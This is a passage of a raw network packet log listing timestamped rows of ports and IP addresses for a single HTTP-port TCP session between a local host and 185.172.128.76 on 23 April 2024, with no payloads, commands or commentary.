Apr 23, 2024 09:33:02.630398035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630407095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630418062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630428076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630436897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630436897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630439997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630450010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630454063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630460978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630470991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630470991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630481958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630487919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630491972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630511045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630532980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679126978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679151058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679161072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679167032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679176092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679186106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679197073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679207087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679212093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679213047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679330111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679341078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679352045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679353952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679353952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679363012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679373980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679382086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679384947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679395914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679406881 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679415941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679418087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679429054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679429054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679440022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679445982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679451942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679467916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679475069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679475069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679507971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679595947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679637909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679641962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679665089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679680109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679697037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679723024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679734945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679745913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679757118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679763079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679774046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679801941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679805994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679836035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679845095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679847002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679857016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679871082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679882050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.679948092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679960966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679971933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679981947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.679991961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680003881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680032969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680095911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680120945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680135965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680159092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680174112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680186033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680210114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680232048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680233955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680272102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680358887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680383921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680398941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680422068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680547953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680562973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680573940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680583000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680586100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680593967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680597067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680604935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680614948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680615902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680634022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680641890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680649996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680665016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680676937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680679083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680687904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680697918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680701017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680716038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680731058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680789948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680825949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680847883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680860043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680870056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.680885077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680893898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.680916071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681197882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681210995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681221962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681232929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681235075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681245089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681267023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681344032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681356907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681368113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681381941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681407928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681581974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681595087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681618929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681638002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681655884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681679964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681691885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681703091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681710005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681710005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681713104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681729078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681771040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681840897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681852102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681862116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681866884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681884050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681915045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.681932926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.681967974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682131052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682142019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682152033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682163000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682171106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682173014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682183981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682194948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682195902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682205915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682207108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682216883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682226896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682234049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682257891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682307959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682320118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682331085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682342052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.682348967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682363987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.682393074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.730762005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730786085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730798006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730804920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730814934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730827093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730839968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730850935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730860949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730871916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730882883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730886936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.730895996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730909109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730915070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730930090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.730941057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.730964899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.730988979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731007099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731019020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731029987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731040001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731046915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731065989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731090069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731266022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731281042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731292963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731302977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731314898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731316090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731327057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731348038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731359959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731369972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731380939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731391907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731404066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731410027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731415033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731426954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731436014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731458902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731484890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731519938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731534958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731547117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731559992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731573105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731590986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731631994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731643915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731659889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731669903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731669903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731700897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731717110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731877089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731889009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731899977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731911898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731915951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731924057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731929064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731935024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731945038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731952906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.731966972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.731978893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732022047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732028961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732043982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732053995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732068062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732078075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732105970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732120037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732142925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732165098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732180119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732187033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732192993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732214928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732225895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732376099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732391119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732413054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732414961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732428074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732440948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732453108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732466936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732505083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732541084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732577085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732589006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732599974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732611895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732623100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732636929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732647896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732681990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732778072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732789993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732804060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732814074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732814074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.732841015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.732861996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733205080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733221054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733236074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733247995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733252048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733259916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733261108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733268023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733272076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733285904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733293056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733304977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733315945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733316898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733316898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733325958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733366966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733366966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733403921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733416080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733426094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733437061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733448982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733455896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733484030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733594894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733607054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733617067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733627081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733647108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733648062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733660936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733669043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733738899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733750105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733761072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733772039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733773947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733779907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733787060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733807087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733812094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733870983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733882904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733902931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733926058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.733951092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733962059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.733983040 CEST	49704	80	192.168.2.5	185.172.128.76
